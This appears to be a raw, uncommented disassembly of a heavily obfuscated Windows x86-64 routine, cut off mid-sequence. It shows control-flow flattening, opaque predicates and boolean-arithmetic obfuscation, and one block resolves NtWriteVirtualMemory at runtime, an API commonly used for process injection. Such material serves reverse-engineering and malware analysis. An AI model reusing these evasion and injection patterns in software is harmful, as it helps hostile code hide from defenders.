and edx, 0xc47b28c8
or edx, ecx
mov eax, edx
not eax
and eax, 0x351a3998
and edx, 0xcae5c667
or edx, eax
mov ecx, edx
xor ecx, 0xf1611150
xor edx, 0xe148aa1
and edx, 0x6f148bb1
mov eax, ecx
and eax, 0x90eb744e
or eax, edx
mov edx, eax
xor edx, 0x90eb744e
mov ebx, eax
xor ebx, 0x6f89a30b
and ebx, edx
and ecx, 0xff62d745
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xff62d744
and ecx, 0x9d28bb
or ecx, ebx
and edx, 1
xor eax, 0x90eb744f
or eax, edx
mov ebx, eax
not ebx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x3caef31c
and ecx, 0xc3510ce3
or ecx, edi
or edx, eax
and eax, 0x3caef31c
and ebx, 0xc3510ce3
or ebx, eax
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
mov ecx, edx
xor ecx, 0x163c97e
and ecx, edx
not edx
and edx, 0x410102
and eax, 0x122c87c
or eax, edx
xor eax, 0x122c87c
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xfe9c3681
and ecx, 0x163c97e
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x68782933
and eax, 0x9787d6cc
or eax, ecx
mov ecx, eax
xor ecx, 0x48000801
xor eax, 0x92048488
and eax, 0xb27ca5ba
and ecx, 0x4d835a45
or ecx, eax
xor ecx, 0x4d835a45
setne r10b
sete bl
cmp ebp, 0xa
setl r9b
cmp ebp, 9
setg r8b
mov eax, r8d
xor al, r9b
and al, r8b
mov ecx, eax
xor cl, 1
or al, cl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, ebx
mov edx, r8d
xor dl, bl
and dl, r8b
and r8b, bl
or bl, al
xor cl, al
xor cl, 1
and cl, al
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
and r10b, r9b
or r8b, r10b
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
mov ebx, ecx
xor bl, 1
mov edx, ebx
mov eax, r8d
mov r9d, ebx
mov r10d, ebx
and r10b, r8b
xor bl, r8b
xor r8b, 1
and dl, cl
and al, r8b
xor r9b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r9b
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and al, dl
or al, cl
or bl, r10b
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0x5b4bec68
mov ebp, 0xcd17f687
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x5b4bec68
jmp 0x1400c84aa
cmp ecx, 0xf75fe10
jg 0x1400c3b28
cmp ecx, 0xd1b3b88
je 0x1400c7492
cmp ecx, 0xef50eb5
jne 0x1400bca50
mov ecx, 0xf00374dd
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x6e01b958
jg 0x1400c3c6a
cmp ecx, 0x6d619bb0
je 0x1400c75b4
cmp ecx, 0x6dfae5cd
jne 0x1400bca50
mov ecx, dword [0x14024b728]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ebp, eax
and ebp, 0x8871c8be
mov ecx, eax
xor ecx, 0x778e3741
and ecx, edx
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x778e3740
and ecx, 0x8871c8bf
or ecx, ebp
and edx, 0x4ff57744
mov ebp, eax
and ebp, 0xb00a88bb
or ebp, edx
xor ebp, 0x4ff57745
and eax, 1
or eax, ebp
mov edx, eax
not edx
and edx, 0x7a7e7fec
and eax, 0x85818013
or eax, edx
mov ebp, eax
xor ebp, 0x81018010
mov edx, ecx
not edx
xor eax, 0x7a7e7fec
mov ebx, edx
and ebx, 0x46ae4927
and ecx, 0xb951b6d8
or ecx, ebx
or edx, eax
and eax, 0x46ae4927
and ebp, 0xb951b6d8
or ebp, eax
xor ebp, ecx
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x81658010
mov ecx, edx
and ecx, 0x2103249
or ecx, eax
xor ecx, 0x2103249
and edx, 0x7c8a4da6
or edx, ecx
mov eax, edx
not eax
and eax, 0xe4159456
and edx, 0x1bea6ba9
or edx, eax
mov eax, edx
xor eax, 0x180dd860
xor edx, 0x2320020d
and edx, 0xa3b2039d
and eax, 0x5c4dfc62
or eax, edx
xor eax, 0x5c4dfc62
cmp eax, 0xffffffff
sete al
cmp dword [0x14024b724], 9
setg cl
xor al, cl
xor cl, al
and cl, al
mov edx, ecx
xor dl, al
and dl, cl
mov ebx, ecx
and cl, al
not al
xor bl, 1
and bl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xe63f5bd7
mov ebp, 0xf3c14bc9
cmovne ecx, ebp
test dl, dl
mov edx, 0xe63f5bd7
jmp 0x1400c7b56
cmp ecx, 0x90898274
jg 0x1400c3e2a
cmp ecx, 0x8e71e4d6
je 0x1400c75ca
cmp ecx, 0x8feb5b9e
jne 0x1400bca50
mov ecx, 0x88255285
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xd210a0ad
jg 0x1400c3e58
cmp ecx, 0xd07d6d61
je 0x1400c76c8
cmp ecx, 0xd11ef3a3
jne 0x1400bca50
mov ecx, 0x367587dd
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xb3dc4963
jg 0x1400c3fab
cmp ecx, 0xb1a5bdc7
je 0x1400c7800
cmp ecx, 0xb289e376
jne 0x1400bca50
mov rcx, qword [0x14024b040]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xa3e65821
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xf3c14bc8
jg 0x1400c4097
cmp ecx, 0xf24c299a
je 0x1400c7908
cmp ecx, 0xf258dc30
jne 0x1400bca50
mov ecx, 0x645a4b7b
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x8baeafaa
jg 0x1400c418b
cmp ecx, 0x89311b37
je 0x1400c79bf
cmp ecx, 0x8b216164
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x1211c025
mov ecx, ebp
and ecx, 0x9882408
or ecx, edx
xor ecx, 0x9882408
mov edx, ebp
xor edx, 0x1b99e42d
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xe4661bd3
and edx, 0x1b99e42c
or edx, ecx
mov ecx, edx
not ecx
and ebx, ecx
and edx, ebp
or edx, ebx
xor ecx, edx
test ecx, edx
sete r9b
setne r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r8b
and bl, al
mov edx, r10d
xor dl, r9b
and dl, r10b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov r11d, ebx
and r11b, cl
xor cl, bl
or cl, r11b
xor cl, 1
mov ebx, ecx
xor bl, dl
not bl
and bl, dl
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, r9b
and dl, al
and r10b, r8b
and al, r9b
or al, r10b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xb289e376
mov eax, 0xa3e65821
cmovne ecx, eax
test bl, 1
mov ebp, 0xb289e376
cmove ecx, ebp
jmp 0x1400ca4f0
cmp ecx, 0xcd2481a8
jg 0x1400c4280
cmp ecx, 0xcce88382
je 0x1400c7b60
cmp ecx, 0xcd17f687
jne 0x1400bca50
mov ecx, 0x5b4bec68
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xab7b8a69
jg 0x1400c42ae
cmp ecx, 0xa6368b63
je 0x1400c7b76
cmp ecx, 0xa81a8e23
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov esi, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4961479c
and edx, 0xb69eb863
or edx, ecx
mov ebx, edx
xor ebx, 0x30148043
xor edx, 0x41010088
and edx, 0xc78b38a8
and ebx, 0x3874c757
or ebx, edx
mov edx, ebx
xor edx, 0x44811028
mov ecx, ebx
xor ecx, 0x3874c757
mov ebp, ebx
xor ebp, 0x54c5557b
and ebp, ecx
and edx, 0x6cb1922c
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x6cb1922d
and edx, 0x934e6dd2
or edx, ebp
and ecx, 1
xor ebx, 0x3874c756
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xe2e31f59
and ebx, 0x1d1ce0a6
or ebx, ecx
mov ebp, ebx
xor ebp, 0x1818a020
mov ecx, edx
not ecx
xor ebx, 0xe2e31f59
mov edi, ecx
and edi, 0x7e74e9f
and edx, 0xf818b160
or edx, edi
or ecx, ebx
and ebx, 0x7e74e9f
and ebp, 0xf818b160
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x8944f670
and ebp, ecx
or ecx, 0x76bb098f
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x6fda2535
and edx, 0x8004d240
or edx, edi
or ecx, ebx
and ebx, 0x6fda2535
and ebp, 0x9025daca
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x76bb098f
and ecx, 0x8944f670
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbdbe8e72
and ecx, 0x4241718d
or ecx, edx
mov edx, ecx
xor edx, 0x42404100
xor ecx, 0x899c0a60
and ecx, 0x899d3aed
and edx, 0x7662c512
or edx, ecx
xor edx, 0x899d3aed
cmp edx, 0xffffffff
sete cl
setne r8b
cmp esi, 0xa
setl al
cmp esi, 9
setg r9b
mov edx, eax
and al, r8b
and r8b, r9b
and dl, cl
or dl, r8b
mov ebx, edx
xor bl, r9b
and bl, dl
and cl, r9b
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xb73db979
mov ebx, 0xf10db35d
jmp 0x1400c75a3
cmp ecx, 0xebeb4a99
jg 0x1400c43be
cmp ecx, 0xe7c08b39
je 0x1400c7c74
cmp ecx, 0xead3b83f
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x25e8f693
and edx, ecx
or ecx, 0xda17096c
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc2a0b1ce
and ebp, 0x25484611
or ebp, edi
or ecx, ebx
and ebx, 0xc2a0b1ce
and edx, 0x3d5f4e31
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xba7acf72
and ecx, 0x4585308d
or ecx, edx
mov edx, ecx
xor edx, 0x606dc61e
xor ecx, 0xe820181
mov ebp, edx
and ebp, 0xfffffffe
and ecx, 0xe8b4791
and edx, 0xf174b86e
or edx, ecx
xor edx, 0xf174b86f
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
and al, cl
or dl, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
xor al, 1
mov edx, ebx
or dl, al
xor al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x60b14406
mov ebp, 0x6246498d
cmovne ecx, ebp
test dl, 1
mov eax, 0x60b14406
cmovne ecx, eax
test bl, 1
cmove ecx, ebp
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x29660e68
je 0x1400c7c8a
cmp ecx, 0x2a6960c4
je 0x1400c7d9d
cmp ecx, 0x2b935d5b
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x5847f923
and ebp, ecx
or ecx, 0xa7b806dc
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xefac42b6
and edx, 0x1043b901
or edx, edi
or ecx, ebx
and ebx, 0xefac42b6
and ebp, 0x1053bd49
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x631d4e6d
and ecx, 0x9ce2b192
or ecx, edx
mov ebp, ecx
xor ebp, 0xc4a548b1
mov edi, ecx
xor edi, 0x3b5ab74e
mov ebx, edi
and ebx, 0x7948c56f
mov edx, ecx
xor edx, 0xbded8dde
and edx, ebp
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x2fbbef11
and edx, 0xd04410ee
or edx, ebp
mov ebp, edx
xor ebp, 0x41580
and edi, 1
xor ecx, 0x3b5ab74f
or ecx, edi
mov ebx, ecx
not ebx
xor edx, 0x56f32a7f
mov edi, edx
and edi, 0xabf9e251
and ebp, 0x54061dae
or ebp, edi
or edx, ecx
and ecx, 0xabf9e251
and ebx, 0x54061dae
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xa16b66e8
and edx, 0x5e949917
or edx, ecx
mov ecx, edx
xor ecx, 0x4e901813
xor edx, 0xa04326a8
and edx, 0xb047a7ac
and ecx, 0x4fb85853
or ecx, edx
mov edx, ecx
xor edx, 0xb0442624
xor ecx, 0x4b385000
and ecx, 0x4b3bd188
and edx, 0xb4c42e77
or edx, ecx
mov ecx, edx
xor ecx, 0x30c42202
xor edx, 0x4b2b5080
and edx, 0xcf2b5cf5
and ecx, 0x30d4a30a
or ecx, edx
xor ecx, 0x30d4a30a
sete r8b
setne bl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, bl
not al
and al, bl
mov edx, ecx
or dl, bl
xor al, 1
mov r10d, eax
xor r10b, dl
or al, dl
xor al, 1
or al, r10b
and r9b, r8b
and bl, cl
or bl, r9b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov ebx, eax
and al, cl
mov r8d, edx
and r8b, cl
xor dl, cl
xor cl, 1
xor bl, 1
and bl, cl
or al, bl
or dl, r8b
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0xdd3bf102
mov edx, 0xe3f9f842
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0xdd3bf102
jmp 0x1400ca6f6
cmp ecx, 0x61c1012a
je 0x1400c7e6a
cmp ecx, 0x62026db3
jne 0x1400bca50
mov ecx, 0x1cdad6a5
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x235762ac
je 0x1400c7fd3
cmp ecx, 0x254a04ea
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
and edx, 0x42180a9
and ebx, 0xfbde7f56
or ebx, edx
mov ebp, ebx
xor ebp, 0x42180a9
mov ecx, ebx
xor ecx, 0xfbde7f56
xor ebx, 0x5476e79c
mov edi, ebx
and edi, ecx
and ebx, ebp
mov edx, edi
not edx
mov esi, ebx
not esi
mov eax, edx
and eax, 0x7a17527b
and edi, 0x85e8ad84
or edi, eax
or edx, esi
and esi, 0x7a17527b
and ebx, 0x85e8ad84
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x3803251f
and edx, 0xc7fcdae0
or edx, eax
xor edx, 0x97abbdd4
and ebp, 0xc1d6b39
mov eax, ecx
and eax, 0xf3e294c6
or eax, ebp
xor eax, 0xc1d6b38
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9f9da443
and ecx, 0x60625bbc
or ecx, eax
xor ecx, 0x60625bbc
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x9b5168e0
and eax, ecx
and ecx, 0x64ae971f
or ecx, edx
xor ecx, 0x64ae971f
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xc9d67025
and ecx, 0x36298fda
or ecx, edx
xor ecx, 0x36298fda
or ecx, eax
cmp ecx, 0xffffffff
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov eax, ebx
xor al, 1
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
and dl, r8b
xor al, 1
and al, cl
or al, dl
mov edx, ecx
or cl, r10b
and r10b, r8b
and dl, r9b
or dl, r10b
xor r8b, r9b
xor cl, 1
or cl, r8b
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
and al, dl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x75a5e553
mov ecx, 0x9b54087d
cmovne ebp, ecx
test dl, 1
mov ecx, 0x75a5e553
cmovne ecx, ebp
test al, al
jmp 0x1400c94e5
cmp ecx, 0x7a6aa239
je 0x1400c81ae
cmp ecx, 0x7afbaf2d
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov edx, edi
and edx, 0x84b4518
mov ecx, ebp
and ecx, 0xc7000283
or ecx, edx
xor ecx, 0xc7000283
mov edx, ebp
xor edx, 0xcf4b479b
and edx, ebp
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xdf86211d
and edx, 0x2079dee2
or edx, ecx
mov ebx, edx
xor ebx, 0xef329978
xor edx, 0x400484
and edi, 0x1c295f23
and ebp, 0xe3d6a0dc
or ebp, edi
mov ecx, ebp
xor ecx, 0x6152008c
xor ebp, 0x1c295f23
mov edi, ebx
and edi, 0x9e8dea53
and edx, 0x617215ac
or edx, edi
or ebx, ebp
and ebp, 0x9e8dea53
and ecx, 0x617215ac
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r10d
xor al, cl
and al, r10b
xor cl, bl
or bl, al
xor al, 1
or al, r8b
mov r9d, eax
xor r9b, bl
or al, bl
xor al, 1
or al, r9b
or r10b, r8b
mov edx, r10d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x72c482b6
mov ebp, 0xc8a5ac2c
cmovne ecx, ebp
test dl, 1
mov edx, ecx
mov ebp, 0x72c482b6
jmp 0x1400c744d
cmp ecx, 0x429c4c6b
je 0x1400c81d8
cmp ecx, 0x42a52f38
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xd940228e
mov edx, ebx
and edx, 0x26bfdd70
or edx, ebp
mov ebp, edx
xor ebp, 0x20a98c10
xor edx, 0xd940228f
mov eax, ebx
xor eax, 0xfffffffe
and eax, ebx
mov esi, eax
not esi
mov ecx, edx
and ecx, 0x87567165
and ebp, 0x78a98e9a
or ebp, ecx
or edx, esi
and esi, 0x87567165
and eax, 0x78a98e9a
or eax, esi
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and edi, eax
and edx, ebx
or edx, edi
not edx
or edx, eax
cmp edx, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg r8b
mov ecx, r10d
xor cl, r9b
and cl, r10b
mov ebx, ecx
xor bl, 1
or cl, bl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
or dl, cl
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
and r10b, al
and r8b, r9b
or r8b, r10b
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
xor al, 1
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0xc8c1392
mov ebp, 0x924af7b3
cmovne ecx, ebp
test bl, 1
mov eax, 0xc8c1392
cmovne ecx, eax
jmp 0x1400c94e2
cmp ecx, 0x482f8848
je 0x1400c81ee
cmp ecx, 0x484821ee
jne 0x1400bca50
mov ecx, 0xb1a5bdc7
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x4171ed0
je 0x1400c8204
cmp ecx, 0x5df4563
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xb1a94c5a
and edx, ebp
not ebp
and ebp, 0x20204808
and ecx, 0x91890452
or ecx, ebp
xor ecx, 0x91890452
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x4e56b3a5
and edx, 0xb1a94c5a
or edx, ecx
mov eax, edx
mov ebp, edx
xor ebp, 0x950ae94c
and ebp, edx
not edx
and edx, 0xbf249d57
and eax, 0x40db62a8
or eax, edx
mov edx, eax
xor edx, 0x95008944
or edx, 0x6af516b3
mov ebx, edx
not ebx
mov edi, ebp
not edi
mov esi, edx
and esi, 0xade86d44
and ebx, 0x10028008
or ebx, esi
or edx, edi
and edi, 0xade86d44
and ebp, 0x521792bb
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x6af516b2
and edx, 0x950ae94d
or edx, ebp
mov ebp, eax
and ebp, 1
xor eax, 0x40db62a9
or eax, ebp
mov ecx, eax
not ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0x5455d5f3
and edx, 0xabaa2a0c
or edx, ebx
or ebp, eax
and eax, 0x5455d5f3
and ecx, 0xabaa2a0c
or ecx, eax
xor ecx, edx
not ebp
or ebp, ecx
mov eax, ebp
not eax
and eax, 0x7365b33a
and ebp, 0x8c9a4cc5
or ebp, eax
mov eax, ebp
xor eax, 0x84000c81
xor ebp, 0x7365b33a
mov ecx, ebp
and ecx, 0x28de4144
and eax, 0xd721bebb
or eax, ecx
xor eax, 0xd721bebb
or eax, ebp
cmp eax, 0xffffffff
setne r10b
sete r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov eax, r8d
xor al, cl
and al, r8b
mov edx, eax
xor dl, 1
mov ebx, edx
or bl, al
xor al, bl
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov r11d, r9d
and r8b, r9b
and r10b, cl
mov edx, ecx
and dl, r9b
xor cl, r9b
or r9b, bl
xor r9b, 1
xor r11b, bl
xor r11b, 1
and r11b, bl
mov ebx, r9d
and bl, r11b
xor r11b, r9b
or r11b, bl
or r10b, r8b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r9d, ecx
xor r9b, 1
mov eax, r11d
xor al, 1
and al, r11b
mov edx, r9d
and dl, cl
xor al, 1
mov r8d, r11d
xor r8b, al
or al, r11b
xor al, 1
or al, r8b
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and dl, al
or dl, bl
mov eax, r11d
xor al, cl
or cl, r11b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf75fe11
mov ebp, 0xb70ab771
cmovne eax, ebp
test cl, 1
mov ecx, 0xf75fe11
jmp 0x1400c9d43
cmp ecx, 0x645a4b7b
je 0x1400c833c
cmp ecx, 0x6467319b
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x9f560145
mov ebx, edx
not ebx
or ebp, 0x60a9feba
mov ecx, ebp
not ecx
and edx, 0xcf5c3b
and ebx, 0x6020a280
or ebx, edx
and ebp, 0xcf5c3b
and ecx, 0x9f100144
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x3c811d33
and ecx, 0xc37ee2cc
or ecx, edx
mov ebp, ecx
xor ebp, 0x5c28e389
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x78dfaccc
and ebx, 0x87205332
or ebx, edi
or edx, ebp
and ebp, 0x78dfaccc
and ecx, 0x87205333
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xcc2035ee
and ecx, edx
and edx, 0x33dfca11
or edx, ebp
xor edx, 0x33dfca11
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
setne r10b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
mov eax, r9d
xor al, r10b
and al, r9b
mov ebx, eax
xor bl, 1
and al, bl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
and dl, r8b
xor al, 1
and al, cl
or al, dl
xor r10b, r8b
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ebx, eax
xor bl, dl
test dl, 1
mov ecx, 0xb54bfee3
mov edx, 0x41b02eb8
cmovne ecx, edx
test al, 1
mov eax, 0xb54bfee3
cmovne ecx, eax
jmp 0x1400c7900
cmp ecx, 0x9661fa5e
je 0x1400c84b2
cmp ecx, 0x99a84dbe
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x20ec262
and edx, 0xfdf13d9d
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa57d665f
and edx, 0x5a8299a0
or edx, ecx
mov ebx, edx
xor ebx, 0x588c5bc2
mov ecx, edx
xor ecx, 0x26122010
and ecx, 0x6e9a73d0
xor edx, 0x15c105e
and edx, ebx
and ebx, 0x91658c2f
or ebx, ecx
mov ebp, ebx
not ebp
mov ecx, ebx
xor ecx, 0x48904390
or ecx, 0xa62fb463
mov edi, ecx
not edi
mov esi, edx
not esi
mov eax, ecx
and eax, 0xbb57ee2f
and edi, 0x40800190
or edi, eax
or ecx, esi
and esi, 0xbb57ee2f
and edx, 0x44a811d0
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x4aaa3d78
and ecx, 0xb555c287
or ecx, eax
mov eax, ecx
xor eax, 0xc805011a
and ebp, 1
xor ebx, 0x91658c2e
or ebx, ebp
mov edx, ebx
not edx
xor ecx, 0x137a76e5
mov ebp, ecx
and ebp, 0x2598cea4
and eax, 0xda67315b
or eax, ebp
or ecx, ebx
and ebx, 0x2598cea4
and edx, 0xda67315b
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x60dc1cfb
and eax, 0x9f23e304
or eax, ebx
or ecx, ebp
and ebp, 0x60dc1cfb
and edx, 0x9f23e304
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x8c70d26c
and ecx, 0x738f2d93
or ecx, edx
xor ecx, 0x738f2d93
or ecx, eax
cmp ecx, 0xffffffff
sete cl
setne al
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
and al, bl
mov edx, r9d
and dl, cl
or dl, al
mov r8d, edx
xor r8b, bl
and r8b, dl
xor bl, cl
not bl
and bl, cl
xor cl, r9b
and cl, r9b
mov edx, ebx
and dl, cl
